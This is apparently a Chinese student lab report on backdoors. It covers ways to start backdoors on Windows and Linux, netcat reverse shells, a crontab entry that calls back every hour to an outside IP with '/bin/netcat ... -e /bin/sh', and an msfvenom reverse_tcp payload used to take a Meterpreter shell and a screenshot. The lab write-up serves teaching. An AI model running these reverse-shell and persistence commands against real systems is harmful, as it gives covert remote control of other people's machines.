20145216史婧瑶《网络攻防》后门原理与实践

20145216史婧瑶《网络攻防》后门原理与实践

基础问题回答

1.例举你能想到的一个后门进入到你系统中的可能方式?

  • 在软件的开发阶段,程序员在软件内创建后门程序,于是在下载软件时,后门进入系统

2.例举你知道的后门如何启动起来(win及linux)的方式?

  • 修改系统配置
    • 添加启动项
    • 修改默认的Shell程序(默认为Explorer.exe,在登陆后失效)
    • 添加用户初始化程序(默认有一个Userinit.exe,在登陆后失效)
  • 系统服务和驱动程序方式
    • 安装自己的服务和驱动程序(调用CreatService Win32 API函数)
    • 修改原有的服务和驱动配置
    • 替换原有的服务和驱动程序文件
  • 替换或感染系统文件方式

3.Meterpreter有哪些给你印象深刻的功能?

  • 抓取击键记录
  • 获取Windows命令行界面
  • 获取用户密码
  • 捕捉屏幕
  • 获取主机摄像头

4.如何发现自己有系统有没有被安装后门?

  • 用杀毒软件查杀
  • 查看自己主机上有哪些用户,再查看用户权限

实践过程

(由于Mac系统自带nc工具,因此可以直接输入相关命令)

Mac获取Linux Shell

  • 使用命令nc -l 5216 对端口5216开始监听 

  

  • 使用nc 指令的-e 选项反向连接Mac主机的5216端口 

  

  • MAC主机显示Linux的中的ls命令 

  

Linux获取Mac Shell

  • 在Kali环境下用ifconfig查看IP 

  

  • 使用nc 指令监听5216端口 

  

  • Linux进行反弹连接 

  

  • Kali下可以看到Mac的命令 

  

nc传输数据

  • 使用命令nc -l 5216 对端口5216开始监听 

  

  • Kali下连接到Mac的5216端口,并发送数据 

  

  • Mac下接受到数据 

  

使用netcat获取主机操作Shell,cron启动

  • 在Mac系统下,监听5216端口 

  

  • 使用crontab -e 修改配置文件,根据格式m h dom mon dow user command 来填写启动的时间,我在最后一行添加的是55 * * * * /bin/netcat 10.43.59.43 5216 -e /bin/sh ,意思是在每个小时的第55分钟反向连接Mac主机的5216端口,因为我当时的时间是16点54,所以我将时间设置为55,这样就能马上看到效果 

  

  • 当时间到了16点54时,此时已经获得了Kali的shell,输入指令whoami (如果在这之前输入指令,屏幕上不会有显示) 

  

任务计划启动

  • 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器 

  

  • 新建一个操作 

  

  • 输入命令nc -l -p 5216 进行测试 

  

meterpreter

  • 我本来想继续在Mac系统下完成该部分实践,但是在我多次尝试后,还是失败了,因为msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.47.130 LPORT=5216 -f exe > 20145216sjy.exe指令生成的为Windows可执行文件,无法在Mac下执行,我做到最后一步才发现这个问题,我也尝试了查找如何生成Mac可执行文件,但是未果,因此最后我还是在Windows系统下完成了该部分实践。
  • 生成Windows可执行文件20145216sjy.exe 

  

  • 通过nc指令将生成的后门程序传送到Windows主机上 

  

  

  • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口 

  

  • 执行监听 

  

  • 打开Windows上的后门程序 

  

  • 可以看到Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell 

  

  • 查看靶机信息 

  

  • 使用screenshot 指令进行截屏 

实践感想

  • 这次实践我花了很长时间尝试在Mac系统下完成相关内容,虽然并没有成功,但是我也有收获,因为重复做了几次实践内容,我感觉自己对后门原理与实践更熟悉了,希望下次我能通过自己的努力在Mac系统下完成其他实践内容。





转载于:https://www.cnblogs.com/sjy519/p/6569047.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值